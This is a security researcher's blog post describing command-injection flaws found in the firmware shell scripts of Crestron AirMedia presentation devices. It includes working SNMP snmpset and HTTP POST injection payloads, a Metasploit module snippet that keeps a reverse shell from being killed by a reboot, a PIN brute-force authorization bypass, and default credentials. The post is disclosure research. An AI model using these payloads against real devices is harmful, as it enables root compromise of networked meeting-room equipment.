Man-in-the-Conference-Room - Part IV (Vulnerability Research & Development)

In this fourth installation of my blog series about wireless presentation devices we’ll cover one of the part I really love: vulnerability research and development.

I’ll focus on network services discovered and reverse engineered in part III (Man-in-the-conference-room - Part III (Network Assessment)) and will use firmware dumps acquired during part II (Man-in-the-conference-room - Part II (Hardware Hacking)). If you didn’t read these previous posts, please do so :)

1. Firmware Mount & Source Review

We’ll start by mounting the root filesystem we acquired with our firmware dumping script:

$ sudo losetup -v -f mmc_dump.bin
$ sudo losetup -a
/dev/loop0: [0046]:9755872 (/home/quentin/research/airmedia/hardware/dumps/dd/mmc_dump.bin)
$ sudo partx --show /dev/loop0
NR   START     END SECTORS   SIZE NAME UUID
 1      16  500975  500960 244,6M
 2  500976 1001951  500976 244,6M
 3 1001952 3002831 2000880   977M
 4 3002832 6909839 3907008   1,9G
$ sudo partx -v --add /dev/loop0
partition: none, disk: /dev/loop0, lower: 0, upper: 0
/dev/loop0: partition table type 'dos' detected
/dev/loop0: partition #1 added
/dev/loop0: partition #2 added
/dev/loop0: partition #3 added
/dev/loop0: partition #4 added
$ sudo blkid /dev/loop0*
/dev/loop0: PTTYPE="dos"
/dev/loop0p1: UUID="6e4f610d-796f-4b15-8b21-f3da4538f09b" TYPE="ext2"
/dev/loop0p2: UUID="1ce0eb6b-4733-44e8-9b4d-761597dd4a36" TYPE="ext2"
/dev/loop0p3: UUID="7A5C-49D2" TYPE="vfat"
/dev/loop0p4: LABEL="InternalMem" UUID="7A69-9C39" TYPE="vfat"
$ sudo mount -o ro /dev/loop0p2 /mnt/tmp

My first step here is to list custom shell script that have been added by the manufacturer:

$ cd /mnt/tmp && find -name "*.sh"
./mnt/set_ap_client.sh
./mnt/wpsd/stopWPSD.sh
./mnt/wpsd/startWPSD.sh
./bin/update_parameters.sh
./bin/ftpfw.sh
./bin/run_upload_file.sh
./bin/wifi_client_stat.sh
./bin/RemoteFirmware.sh
./bin/Mmcblk1p4Process.sh
./bin/UpgradeProcess.sh
./bin/service_onoff.sh
./bin/nsupdate.sh
./bin/getRemoteURL.sh
./bin/usbhid.sh
./bin/mountstor.sh
./etc/ralink_wireless_tx_power_survey.sh
./etc/finish_upgrade.sh
./etc/wifi_hotplug.sh
./etc/preUpgrade.sh
./etc/auto_edid_detect.sh
./etc/reSyncNtp.sh
./etc/wifi_reset.sh
./etc/rfdetect.sh
./etc/getWirelessAddr.sh
./etc/wifi_adaptive_survey.sh
./etc/AirPlayerProcess.sh
./etc/netdriver.sh
./etc/reboot.sh
./etc/apclient_site_survey.sh
./usr/local/awind/rftest.sh
./usr/local/awind/create_CA.sh
./usr/local/awind/sync_res.sh
./usr/local/awind/make_pns_token.sh
./usr/bin/ftptest.sh
./usr/bin/vpp_out.sh
./usr/bin/wp.sh
./usr/bin/notice.sh
./usr/bin/printenv.sh
./usr/bin/modify_res.sh
./usr/bin/setenv.sh
./usr/bin/wmt-ut.sh

After a manual code review of those scripts, I identified potentialy harmful code in the following scripts:

  • bin/getRemoteURL.sh
  • bin/service_onoff.sh
  • bin/ftpfw.sh

getRemoteURL.sh

When an administrator wants to set a custom logo on the idle screen it has two options: either upload it manually or get the device to fetch it from a remote FTP or HTTP server. This script is launched when the latter is used. Here is the script with some comments of mine:

#!/bin/sh

url=$1
ftpaccount=$2
ftppawd=$3
ftpport=$4

urlType=`echo "$url"  | cut -d ':' -f 1`

if [ "$urlType" == "ftp" ]; then

    ftphost=`echo "$url"  | cut -d '/' -f 3`
    ftpurl=`echo "$url"  | cut -d '/' -f 4-`

    if [ "$ftpaccount" == "" ]; then
	echo "missing ftp account"
        /mnt/AwGetCfg set SYSLOG_ERROR_CODE -12
        exit 1
    fi

    if [ "$ftphost" == "" ]; then
	echo "missing ftp host"
        /mnt/AwGetCfg set SYSLOG_ERROR_CODE -11
        exit 1
    fi

    if [ "$ftppawd" == "" ]; then
        echo "/usr/sbin/ftpget -v -u $ftpaccount -p \"\" $ftphost -P $ftpport /tmp/Example.ogg $ftpurl" >> /tmp/ftpget.log
        # NO SHELL ESCAPE !
        /usr/sbin/ftpget -v -u $ftpaccount -p "" $ftphost -P $ftpport /tmp/Example.ogg $ftpurl
    else
        echo "/usr/sbin/ftpget -v -u $ftpaccount -p $ftppawd $ftphost -P $ftpport /tmp/Example.ogg $ftpurl" >> /tmp/ftpget.log
        # NO SHELL ESCAPE !
        /usr/sbin/ftpget -v -u $ftpaccount -p $ftppawd $ftphost -P $ftpport /tmp/Example.ogg $ftpurl
    fi
else
    #/usr/bin/wget $url -O /tmp/Example.ogg
    # NO SHELL ESCAPE !
    /usr/bin/curl -k -o /tmp/Example.ogg $url
fi

err=$?
if [ $err != 0 ]; then
    echo "ftpget or wget error"
    /mnt/AwGetCfg set SYSLOG_ERROR_CODE -10
    exit 1
fi

service_onoff.sh

This script is used to enable/disable services such as network services or USB support. Once again, comments are mine.

#!/bin/sh
ACTION=$1
SERVICE=$2
ONOFF=$3

if [ "$ACTION" = "get" ];then
    echo "Please use AwGetCfg"
else [ "$ACTION" = "set" ]

    [ -f "/tmp/serviceLock" ] && exit 1
    echo "1" > /tmp/serviceLock
    # --- SNIPPED CONTENT ---
    # NO SHELL ESCAPE !
    /mnt/AwGetCfg set $SERVICE $ONOFF
    /bin/rm /tmp/serviceLock -f && exit 0
fi

ftpfw.sh

This script seems to be used to download a firmware update over FTP and apply it:

#!/bin/sh

# --- SNIPPED CONTENT ---
ftpaccount=$1
ftppawd=$2
ftphost=$3
ftpport=$4
ftpurl=$5

if [ -f /tmp/scdecapp.pid ]; then
    echo "stop wps" >> /tmp/ftpget.log
    wps_pid=`cat /tmp/scdecapp.pid`
    kill -26 $wps_pid
    while [ -f /tmp/scdecapp.pid ] ; do
        echo "wait until kill wps is success"
        sleep 1
    done
fi

if [ "$2" == "" ]; then
    echo "/usr/sbin/ftpget -v -u $ftpaccount -p \"\" $ftphost -P $ftpport /tmp/romfs $ftpurl" >> /tmp/ftpget.log
    # NO SHELL ESCAPE !
    /usr/sbin/ftpget -v -u $ftpaccount -p "" $ftphost -P $ftpport /tmp/romfs $ftpurl
else
    echo "/usr/sbin/ftpget -v -u $ftpaccount -p $ftppawd $ftphost -P $ftpport /tmp/romfs $ftpurl" >> /tmp/ftpget.log
    # NO SHELL ESCAPE !
    /usr/sbin/ftpget -v -u $ftpaccount -p $ftppawd $ftphost -P $ftpport /tmp/romfs $ftpurl
fi
# --- SNIPPED CONTENT ---

By grepping for those scripts names, we can identify that they are launched by one of the web server’s CGI script (return.cgi), the SNMP server (snmpd) and a custom Airmedia binary (CIPBridge):

$ grep getRemoteURL . -r
Binary file ./home/boa/cgi-bin/return.cgi matches
Binary file ./usr/bin/snmpd matches
Binary file ./usr/bin/CIPBridge matches
$ grep service_onoff . -r
Binary file ./home/boa/cgi-bin/return.cgi matches
Binary file ./usr/bin/snmpd matches
Binary file ./usr/bin/CIPBridge matches
$ grep ftpfw . -r
Binary file ./usr/bin/snmpd matches

We can also check how they’re launched using strings and grepping for script names:

$ strings ./home/boa/cgi-bin/return.cgi | grep -E "getRemote|service_onoff"
/bin/service_onoff.sh set %s %s
/bin/getRemoteURL.sh %s
/bin/getRemoteURL.sh "%s" "%s" "%s" "%s"
$ strings ./usr/bin/snmpd | grep -E "getRemote|service_onoff|ftpfw"
/bin/ftpfw.sh %s %s %s %d %s &
/bin/service_onoff.sh set
/bin/getRemoteURL.sh %s %s %s %d
$ strings ./usr/bin/CIPBridge | grep -E "getRemote|service_onoff|ftpfw"
/bin/service_onoff.sh set WEB_ONOFF 1 &
/bin/service_onoff.sh set WEB_ONOFF 0 &
/bin/service_onoff.sh set SNMP_ONOFF 1 &
/bin/service_onoff.sh set SNMP_ONOFF 0 &
/bin/service_onoff.sh set CIP_ONOFF 1 &
/bin/service_onoff.sh set CIP_ONOFF 0 &
/bin/getRemoteURL.sh %s %s %s %d

Ok so we might be onto something here. Let’s recap with a quick diagram of sources and sinks:

awind_sources_sinks

Note: CIPBridge was purposefuly dropped because it’s a service that must be configured to talk to a Crestron Virtual Server which is only available to Crestron customers, which I’m not. Still, if anyone got that software it is worth looking into it.

2. Bug Triaging and Exploit Implementation

2.1 Remote Command Execution via SNMP

The first step to check if we can reach sinks via SNMP is to load the custom MIB from Airmedia. That MIB file can be extracted from specific firmware archives available on Crestron support website. These ZIP archives holds firmware images for each processor family, a manifest, release notes, and the custom MIB file we are looking for:

$ unzip software_airmedia_am-100_1.5.0_am-101_2.6.0_firmware.zip -d firmware
Archive:  software_airmedia_am-100_1.5.0_am-101_2.6.0_firmware.zip
inflating: firmware/am-100_am-101_release_notes.html
inflating: firmware/AM-100_firmware_1.5.0.3_6507044_WM8750.img
inflating: firmware/AM-100_firmware_1.5.0.4_6506508_WM8440.img
inflating: firmware/AM-101_firmware_2.6.0.12_6508053_WM8750A.img
inflating: <b>firmware/crestron_AirMedia.mib</b>
inflating: firmware/Manifest.xml

On a Linux based host you just have to copy the MIB file to ~/.snmp/mibs. Once it’s copied there, you can use snmptranslate to lookup items within the MIB:

$ for object in `snmptranslate -m +CRESTRON-WPS-MIB -TB 'cam*'`; do echo $object; snmptranslate -m +CRESTRON-WPS-MIB -IR -On $object; done > translated_mibs.txt

With this one line you’ll get each SNMP OID and corresponding name:

Crestron Airmedia SNMP OIDs
CRESTRON-WPS-MIB::crestron
.1.3.6.1.4.1.3212
CRESTRON-WPS-MIB::crestronAirMediaMIB
.1.3.6.1.4.1.3212.100
CRESTRON-WPS-MIB::camMIB
.1.3.6.1.4.1.3212.100.3
CRESTRON-WPS-MIB::camAddOnMIBObjects
.1.3.6.1.4.1.3212.100.3.3
CRESTRON-WPS-MIB::camSelectiveServices
.1.3.6.1.4.1.3212.100.3.3.2
CRESTRON-WPS-MIB::camServiceSNMPOnOff
.1.3.6.1.4.1.3212.100.3.3.2.4
CRESTRON-WPS-MIB::camServiceRemoteViewOnOff
.1.3.6.1.4.1.3212.100.3.3.2.3
CRESTRON-WPS-MIB::camServiceCIPSet
.1.3.6.1.4.1.3212.100.3.3.2.2
CRESTRON-WPS-MIB::camServiceCrestronUpdateOnOff
.1.3.6.1.4.1.3212.100.3.3.2.2.2
CRESTRON-WPS-MIB::camServiceCrestronOnOff
.1.3.6.1.4.1.3212.100.3.3.2.2.1
CRESTRON-WPS-MIB::camServiceWebSet
.1.3.6.1.4.1.3212.100.3.3.2.1
CRESTRON-WPS-MIB::camServiceWebAdminOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.3
CRESTRON-WPS-MIB::camServiceWebModerationOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.2
CRESTRON-WPS-MIB::camServiceWebOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.1
CRESTRON-WPS-MIB::camConferenceCtrl
.1.3.6.1.4.1.3212.100.3.3.1
CRESTRON-WPS-MIB::camCCPassword
.1.3.6.1.4.1.3212.100.3.3.1.3
CRESTRON-WPS-MIB::camCCEnableModerator
.1.3.6.1.4.1.3212.100.3.3.1.2
CRESTRON-WPS-MIB::camConferenceCtrlTable
.1.3.6.1.4.1.3212.100.3.3.1.1
CRESTRON-WPS-MIB::camConferenceCtrlEntry
.1.3.6.1.4.1.3212.100.3.3.1.1.1
CRESTRON-WPS-MIB::camCCConnected
.1.3.6.1.4.1.3212.100.3.3.1.1.1.5
CRESTRON-WPS-MIB::camCCWindowPosition
.1.3.6.1.4.1.3212.100.3.3.1.1.1.4
CRESTRON-WPS-MIB::camCCUserIPAddress
.1.3.6.1.4.1.3212.100.3.3.1.1.1.3
CRESTRON-WPS-MIB::camCCUserName
.1.3.6.1.4.1.3212.100.3.3.1.1.1.2
CRESTRON-WPS-MIB::camCCIndex
.1.3.6.1.4.1.3212.100.3.3.1.1.1.1
CRESTRON-WPS-MIB::camMIBObjects
.1.3.6.1.4.1.3212.100.3.2
CRESTRON-WPS-MIB::camSNMPConf
.1.3.6.1.4.1.3212.100.3.2.10
CRESTRON-WPS-MIB::camSNMPV3Set
.1.3.6.1.4.1.3212.100.3.2.10.5
CRESTRON-WPS-MIB::camSNMPV3PrivacyPassword
.1.3.6.1.4.1.3212.100.3.2.10.5.5
CRESTRON-WPS-MIB::camSNMPV3PrivacyProtocol
.1.3.6.1.4.1.3212.100.3.2.10.5.4
CRESTRON-WPS-MIB::camSNMPV3AuthPassword
.1.3.6.1.4.1.3212.100.3.2.10.5.3
CRESTRON-WPS-MIB::camSNMPV3AuthProtocol
.1.3.6.1.4.1.3212.100.3.2.10.5.2
CRESTRON-WPS-MIB::camSNMPV3UserName
.1.3.6.1.4.1.3212.100.3.2.10.5.1
CRESTRON-WPS-MIB::camSNMPV2Set
.1.3.6.1.4.1.3212.100.3.2.10.4
CRESTRON-WPS-MIB::camSNMPPrivateCommunity
.1.3.6.1.4.1.3212.100.3.2.10.4.2
CRESTRON-WPS-MIB::camSNMPPublicCommunity
.1.3.6.1.4.1.3212.100.3.2.10.4.1
CRESTRON-WPS-MIB::camSNMPManagerHostname
.1.3.6.1.4.1.3212.100.3.2.10.3
CRESTRON-WPS-MIB::camSNMPVersion
.1.3.6.1.4.1.3212.100.3.2.10.2
CRESTRON-WPS-MIB::camSNMPTrapHost
.1.3.6.1.4.1.3212.100.3.2.10.1
CRESTRON-WPS-MIB::camFWUpgrade
.1.3.6.1.4.1.3212.100.3.2.9
CRESTRON-WPS-MIB::camFWDownloadUpgradePercentage
.1.3.6.1.4.1.3212.100.3.2.9.7
CRESTRON-WPS-MIB::camFWUpgradeStatus
.1.3.6.1.4.1.3212.100.3.2.9.6
CRESTRON-WPS-MIB::camFWUpgradeFTPActive
.1.3.6.1.4.1.3212.100.3.2.9.5
CRESTRON-WPS-MIB::camFWUpgradeFTPPasswd
.1.3.6.1.4.1.3212.100.3.2.9.4
CRESTRON-WPS-MIB::camFWUpgradeFTPAccount
.1.3.6.1.4.1.3212.100.3.2.9.3
CRESTRON-WPS-MIB::camFWUpgradeFTPPort
.1.3.6.1.4.1.3212.100.3.2.9.2
CRESTRON-WPS-MIB::camFWUpgradeFTPURL
.1.3.6.1.4.1.3212.100.3.2.9.1
CRESTRON-WPS-MIB::camSystem
.1.3.6.1.4.1.3212.100.3.2.8
CRESTRON-WPS-MIB::camSystemRebootRequired
.1.3.6.1.4.1.3212.100.3.2.8.5
CRESTRON-WPS-MIB::camSystemReboot
.1.3.6.1.4.1.3212.100.3.2.8.4
CRESTRON-WPS-MIB::camProjection
.1.3.6.1.4.1.3212.100.3.2.7
CRESTRON-WPS-MIB::camProjectionLoginCodeInput
.1.3.6.1.4.1.3212.100.3.2.7.4
CRESTRON-WPS-MIB::camProjectionLoginCodeCurrentOption
.1.3.6.1.4.1.3212.100.3.2.7.3
CRESTRON-WPS-MIB::camProjectionCurrentTotalUsers
.1.3.6.1.4.1.3212.100.3.2.7.2
CRESTRON-WPS-MIB::camProjectionCurrentStatus
.1.3.6.1.4.1.3212.100.3.2.7.1
CRESTRON-WPS-MIB::camOutputSource
.1.3.6.1.4.1.3212.100.3.2.6
CRESTRON-WPS-MIB::camOutputCurrentSource
.1.3.6.1.4.1.3212.100.3.2.6.2
CRESTRON-WPS-MIB::camOutputSourceTable
.1.3.6.1.4.1.3212.100.3.2.6.1
CRESTRON-WPS-MIB::camOutputSourceEntry
.1.3.6.1.4.1.3212.100.3.2.6.1.1
CRESTRON-WPS-MIB::camOutputSourceVResolution
.1.3.6.1.4.1.3212.100.3.2.6.1.1.5
CRESTRON-WPS-MIB::camOutputSourceHResolution
.1.3.6.1.4.1.3212.100.3.2.6.1.1.4
CRESTRON-WPS-MIB::camOutputSourceDescription
.1.3.6.1.4.1.3212.100.3.2.6.1.1.3
CRESTRON-WPS-MIB::camOutputSourceImplemented
.1.3.6.1.4.1.3212.100.3.2.6.1.1.2
CRESTRON-WPS-MIB::camOutputSourceIndex
.1.3.6.1.4.1.3212.100.3.2.6.1.1.1
CRESTRON-WPS-MIB::camInfo
.1.3.6.1.4.1.3212.100.3.2.1
CRESTRON-WPS-MIB::camInfoHWVersion
.1.3.6.1.4.1.3212.100.3.2.1.4
CRESTRON-WPS-MIB::camInfoReleateDate
.1.3.6.1.4.1.3212.100.3.2.1.3
CRESTRON-WPS-MIB::camInfoFWVersion
.1.3.6.1.4.1.3212.100.3.2.1.2
CRESTRON-WPS-MIB::camInfoModelName
.1.3.6.1.4.1.3212.100.3.2.1.1

First, we don’t see any OID that could help us reach getRemoteURL.sh, at least from the naming convention. A cursory search through the plain MIB files didn’t bring up anything related to this feature. This is a dead end.


As for service_onoff.sh, we can consider the following candidates:

Crestron Airmedia SNMP OIDs (services on/off)
CRESTRON-WPS-MIB::camSelectiveServices
.1.3.6.1.4.1.3212.100.3.3.2
CRESTRON-WPS-MIB::camServiceSNMPOnOff
.1.3.6.1.4.1.3212.100.3.3.2.4
CRESTRON-WPS-MIB::camServiceRemoteViewOnOff
.1.3.6.1.4.1.3212.100.3.3.2.3
CRESTRON-WPS-MIB::camServiceCIPSet
.1.3.6.1.4.1.3212.100.3.3.2.2
CRESTRON-WPS-MIB::camServiceCrestronUpdateOnOff
.1.3.6.1.4.1.3212.100.3.3.2.2.2
CRESTRON-WPS-MIB::camServiceCrestronOnOff
.1.3.6.1.4.1.3212.100.3.3.2.2.1
CRESTRON-WPS-MIB::camServiceWebSet
.1.3.6.1.4.1.3212.100.3.3.2.1
CRESTRON-WPS-MIB::camServiceWebAdminOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.3
CRESTRON-WPS-MIB::camServiceWebModerationOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.2
CRESTRON-WPS-MIB::camServiceWebOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.1

All these OIDs expects a value of type CAMSelectiveServiceTypeTC:

camserviceSNMPOnOff OBJECT-TYPE
    SYNTAX CAMSelectiveServiceTypeTC
    MAX-ACCESS  read-write
    STATUS current
    DESCRIPTION
    DEFVAL { 1 }
    ::= { camSelectiveServices 4 }
END

CAMSelectiveServiceTypeTC being a boolean, there is no way we can inject here :(

CAMSelectiveServiceTypeTC ::= TEXTUAL-CONVENTION
    STATUS  current
    DESCRIPTION
        "TC for enumerated property camSelectiveServices."
    SYNTAX INTEGER {
        off(0),
        on(1)
    }

Let’s move onto our last sink: ftpfw.sh. Here it is pretty obvious that there are ways to it:

Crestron Airmedia SNMP OIDs (firmware upgrade)
CRESTRON-WPS-MIB::camFWUpgrade
.1.3.6.1.4.1.3212.100.3.2.9
CRESTRON-WPS-MIB::camFWDownloadUpgradePercentage
.1.3.6.1.4.1.3212.100.3.2.9.7
CRESTRON-WPS-MIB::camFWUpgradeStatus
.1.3.6.1.4.1.3212.100.3.2.9.6
CRESTRON-WPS-MIB::camFWUpgradeFTPActive
.1.3.6.1.4.1.3212.100.3.2.9.5
CRESTRON-WPS-MIB::camFWUpgradeFTPPasswd
.1.3.6.1.4.1.3212.100.3.2.9.4
CRESTRON-WPS-MIB::camFWUpgradeFTPAccount
.1.3.6.1.4.1.3212.100.3.2.9.3
CRESTRON-WPS-MIB::camFWUpgradeFTPPort
.1.3.6.1.4.1.3212.100.3.2.9.2
CRESTRON-WPS-MIB::camFWUpgradeFTPURL
.1.3.6.1.4.1.3212.100.3.2.9.1

If you remember the shell script lacking proper input sanitization, it seems the following OIDs could be used to inject our payload:

  • camFWUpgradeFTPPasswd
  • camFWUpgradeFTPAccount
  • camFWUpgradeFTPPort
  • camFWUpgradeFTPURL

Then, camFWUpgradeFTPActive can be used to trigger the firmware upgrade, and therefore the call to ftpfw.sh:

camFWUpgradeFTPActive OBJECT-TYPE
    SYNTAX Integer32
    MAX-ACCESS  read-write
    STATUS current
    DESCRIPTION
        "1: start to upgrade"
    ::= { camFWUpgrade 5 }

Ok. Let’s give it a try by injecting a payload in the FTP account value. Note that the string must be an exact length, hence the padding of A’s.

$ snmpset -v2c -c private -m +CRESTRON-WPS-MIB 192.168.100.2 camFWUpgradeFTPAccount.0 s '$(ping -c 3 192.168.100.1)AAAAA'
CRESTRON-WPS-MIB::camFWUpgradeFTPAccount.0 = STRING: $(ping -c 3 192.168.100.1)AAAAA

Now we trigger the upgrade sequence:

$ snmpset -v2c -c private -m +CRESTRON-WPS-MIB 192.168.100.2 camFWUpgradeFTPActive.0 i 1
CRESTRON-WPS-MIB::camFWUpgradeFTPActive.0 = INTEGER: 1

And voilà ! Remote command execution via SNMP:

13:04:31.599851 IP 192.168.100.2 > 192.168.100.1: ICMP echo request, id 60686
13:04:31.599925 IP 192.168.100.1 > 192.168.100.2: ICMP echo reply, id 60686
13:04:32.601065 IP 192.168.100.2 > 192.168.100.1: ICMP echo request, id 60686
13:04:32.601100 IP 192.168.100.1 > 192.168.100.2: ICMP echo reply, id 60686
13:04:33.604441 IP 192.168.100.2 > 192.168.100.1: ICMP echo request, id 60686
13:04:33.604538 IP 192.168.100.1 > 192.168.100.2: ICMP echo reply, id 60686

During the development of a full blown exploit I came upon two issues:

  1. The SNMP service expects a really specific format for the FTP URL
  2. The reverse shell exits after a few seconds

The expected URL value must be 255 bytes long and starts with a valid URI, while the shell exit is due to this call at the end of ftpfw.sh:

if [ $err1 != 0 ]; then
    echo "[Error]fw: $err1" >> /tmp/ftpget.log
    /etc/reboot.sh
    exit 3
fi

The fix was fairly simple, here is how it looks like in the Metasploit module:

# The payload must start with a valid FTP URI otherwise the injection point is not reached
cmd = "ftp://1.1.1.1/$(#{payload.encoded})"
# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
# keep our reverse shell opened :)
cmd += "$(pkill -f /etc/reboot.sh)"
# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
cmd += "A" * (255-cmd.length)

And here is the exploit at work:

Let’s update our sources and sinks diagram with what we learned. One path to getRemoteURL.sh via SNMP got removed, the path to service_onoff.sh got deactivated and the one to ftpfw.sh got confirmed.

awind_sources_sinks2

We’ll now move onto exploitation by abusing the web GUI running on ports TCP/80 and TCP/443.

2.2 Remote Command Execution via HTTP

Browsing through the web UI, we end up on the “OSD setup” page that let’s you select a custom logo, which is exactly the purpose of one of our sinks: getRemoteURL.sh.

airmedia_logo_ui

The injection is pretty straightforward as we simply put our payload in backticks within the address field:

POST /cgi-bin/return.cgi HTTP/1.1
Host: 192.168.100.2
Connection: close
Content-Length: 153
Cache-Control: no-cache
Origin: https://192.168.100.2
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-US,en;q=0.8

command=<Send><seid>PZs0x6iFiCK4m4Z7</seid><upload><protocol>http</protocol><address>`ping -c 3 192.168.100.1`</address><logo>test</logo></upload></Send>
HTTP/1.1 200 OK
X-XSS-Protection: 1; mode=block
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=604800
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: sameorigin
Expires: Tue, 14 Jun 2005 18:24:23 GMT
Content-type: text/xml
Connection: close
Date: Tue, 07 Jun 2005 18:24:25 GMT
Server: lighttpd/1.4.37
Content-Length: 60

<return><protocol>http</protocol><result>1</result></return>

We get instant confirmation that our payload got executed:

192.168.100.2 > 192.168.100.1: ICMP echo request, id 35950
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 35950
192.168.100.2 > 192.168.100.1: ICMP echo request, id 35950
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 35950
192.168.100.2 > 192.168.100.1: ICMP echo request, id 35950
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 35950

Our second sink, service_onoff.sh must be linked to this page that let administrators enable or disable network services:

airmedia_services_ui

Again, exploitation is straight forward as we just have to put our payload between backticks in the value field.

POST /cgi-bin/return.cgi HTTP/1.1
Host: 192.168.100.2
Connection: close
Content-Length: 116
Content-Type: application/x-www-form-urlencoded

command=<Send><seid>xfnCLxTHA2eyrpNJ</seid><name>USBHID_ONOFF</name><value>`ping -c 3 192.168.100.1`</value></Send>
HTTP/1.1 200 OK
X-XSS-Protection: 1; mode=block
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=604800
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: sameorigin
Expires: Tue, 14 Jun 2005 18:27:38 GMT
Content-type: text/xml
Connection: close
Date: Tue, 07 Jun 2005 18:27:41 GMT
Server: lighttpd/1.4.37
Content-Length: 51

<return><All_data>All_Data_Save</All_data></return>

And again, instant confirmation that our payload got executed:

192.168.100.2 > 192.168.100.1: ICMP echo request, id 44410
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 44410
192.168.100.2 > 192.168.100.1: ICMP echo request, id 44410
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 44410
192.168.100.2 > 192.168.100.1: ICMP echo request, id 44410
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 44410

That’s sweet, we reached both sinks and managed to get remote command execution on the device by abusing the CGI scripts. The problem is that it can only be reached by authenticated users with administrative privileges. Our next objective is to find some kind of flaw in the authorization procedures implemented by the web interface.

Let’s start by mapping the three different kinds of users that can connect to the web interface:

  1. Administrators - this is the default admin user.
  2. Moderators - this is the default moderator user. This user can manage remote viewing.
  3. Viewers - this user does not exist as is but represents users connecting to the remote viewer interface.

When the admin user logs in, a session token is generated and must be appended at the end of the request path so that it is authenticated:

<a href="/cgi-bin/web_index.cgi?lang=en&src=AwSystem.html&xfnCLxTHA2eyrpNJ">
    <span class="style_menu">System Status</span>
</a>
<a href="/cgi-bin/web_index.cgi?lang=en&src=AwDevice.html&xfnCLxTHA2eyrpNJ">
    <span class="style_menu">Device Setup</span>
</a>
<a href="/cgi-bin/web_index.cgi?lang=en&src=AwOperating.html&xfnCLxTHA2eyrpNJ">
    <span class="style_menu">Network Setup</span>
</a>

Access to remote view is unprotected by default but if the administrator choose to protect it (see setting below), the end user must enter the association PIN code on the web interface to access the remote view.

airmedia_services_ui

When the end user logs in with the remote view PIN code the server issues the same kind of session token that is used for administrators and moderators users.

There is no authorization checks performed to verify that a valid session token belong to an administrator user or not. This means that an unauthenticated user can bruteforce the four digits PIN code - either via proprietary association protocol or by bruteforcing the login form - and, upon successful authentication, use the received session token to abuse CGIs and gain remote command execution.

Let’s conclude our two successful RCE findings with an updated sources and sinks diagrams:

awind_sources_sinks3

3. Exploitation Paths

You might have guessed that I really like visualizations so here is one describing the different exploitation paths that you could take.

attack_path.png

4. Good mentions

A few other issues that were reported but not touched upon in this blog post:

  • hardcoded FTP credentials with write access in firmware. Those credentials could have led an attacker to overwrite firmware files on the FTP server used by other devices to fetch updates, leading to large scale compromise..
  • XSS. A few of them in the web GUI (potentially a duplicate of CVE-2017-16710)
  • session token in URL.

5. Conclusion

In this blog post we successfully identified lack of input sanitization in shell scripts called by two networked services: SNMP and HTTP.

By attempting to connect these vulnerable sinks to their sources we identified valid exploitation paths that can be triggered by attackers with either knowledge of the device’s SNMP read-write community value (‘private’ by default) or the device’s admin password value (‘admin’ by default).

Successful exploitation of these vulnerabilities let the attacker gain root access. That access could then be used for numerous things such as: monitoring presentations content, serving malicious EXE or DMG files disguised as legitimate Airmedia clients, modify the web interface to capture NetNTLM hashes, or simply use that initial access to go further into the network.

In the next post I’ll describe how I used knowledge acquired during protocol reverse engineering to reliably identify similar devices exposed on the Internet. Ultimately, this led me on a wild OEM hunt with more than 10 different manufacturers selling around 22 different models affected by the exact vulnerabilities I described here.

For the full story, just head to Man-in-the-Conference Room - Part V (Hunting OEMs).